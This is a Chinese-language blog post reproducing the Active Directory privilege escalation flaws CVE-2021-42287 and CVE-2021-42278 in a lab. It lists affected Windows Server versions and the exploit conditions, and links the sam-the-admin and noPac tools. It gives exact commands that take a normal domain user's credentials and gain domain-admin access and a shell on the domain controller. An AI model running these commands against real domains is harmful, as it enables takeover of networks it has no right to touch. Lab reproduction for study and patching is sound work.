当前位置: 首页 > news >正文

WindowsAD域服务权限提升漏洞

WindowsAD 域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)

1.漏洞描述
       Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限等危害。

2.影响版本
CVE-2021-42287:
Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server, version 20H2 (Server Core Installation)

Windows Server, version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

CVE-2021-42278:
Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server, version 20H2 (Server Core Installation)

Windows Server, version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core

3.漏洞利用条件
(1)一个普通域成员帐户

(2)域用户有创建机器用户的权限(一般默认权限)

(3)DC未打补丁KB5008380或KB5008602

4.环境准备
Win7

192.168.42.128

域普通用户:adtest/szg:1234qweR

Win server2008 R2 Standard Service Pack 1

192.168.42.136

域控机器

Kali

192.168.42.138

攻击机器

5.漏洞利用工具
下载地址:

https://github.com/WazeHell/sam-the-admin

https://github.com/Ridter/noPac

6.漏洞复现
sam-the-admin脚本
查看源码,发现脚本实际是实际就是调用两个可执行文件

kali中存在这两个文件的py文件,路径为/usr/local/bin/smbexec.py 和 /usr/local/bin/secretsdump.py

修改代码如下:

安装requirements.txt文件中的python模块

pip3 install -r requirements.txt

执行如下命令进行域服务提权攻击

python3 sam_the_admin.py "adtest/szg:1234qweR" -dc-ip 192.168.42.136 -shell

PS目前脚本只能在kali环境下运行成功。

noPac脚本

先安装requirements.txt文件中的模块

pip3 install -r requirements.txt

Scanner

python3 scanner.py -use-ldap adtest/szg:1234qweR -dc-ip 192.168.42.136

GetST

python3 noPac.py -use-ldap adtest/szg:1234qweR -dc-ip 192.168.42.136

Auto get shell

python3 noPac.py -use-ldap adtest/szg:1234qweR -dc-ip 192.168.42.136 –shell

7.漏洞参考:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278

相关文章:

  • SqlServer Sql学习随笔
  • 同为科技智能PDU保障智驾数据处理快速稳定响应
  • 【Rust】包和模块管理,以及作用域等问题——Rust语言基础15
  • [DeepRetrieval] 用DeepSeek-R1-Zero的思路教会模型怎么用搜索引擎找文本
  • python爬虫概述
  • SAP 附件增删改查与文件服务器交互应用
  • [蓝桥杯 2023 省 B] 飞机降落(不会dfs的看过来)
  • SpringBoot入门-(2) Spring IOC机制【附实例代码】
  • 目标检测20年(一)
  • IIS+ASP程序500错误排查及解决方法
  • 分布式的消息流平台之Pulsar
  • 【Jupyter】notebook无法显示tqdm进度条
  • python pytorch tensorflow transforms 模型培训脚本
  • dijkstra算法——47. 参加科学大会
  • VulnHub-matrix-breakout-2-morpheus通关攻略
  • 2025年人工智能、数字媒体技术与社会计算国际学术会议
  • Python字符串格式化全面指南:f-string与常用方法详解
  • pyqt 按钮自动布局方案
  • Hadoop•常用命令
  • LS-NET-006-思科MDS 9148S 查看内存
  • 兴业银行一季度净赚超237亿降逾2%,营收降逾3%
  • 腾讯重构混元大模型研发体系:成立大语言和多模态模型部,提升AI长期技术作战能力
  • 西班牙葡萄牙突发全国大停电,欧洲近年来最严重停电事故何以酿成
  • 走访中广核风电基地:701台风机如何乘风化电,点亮3000万人绿色生活
  • 外交部:印度香客赴中国西藏神山圣湖朝圣将于今年夏季恢复
  • 国内生产、境外“游一圈”再进保税仓,这些“全球购”保健品竟是假进口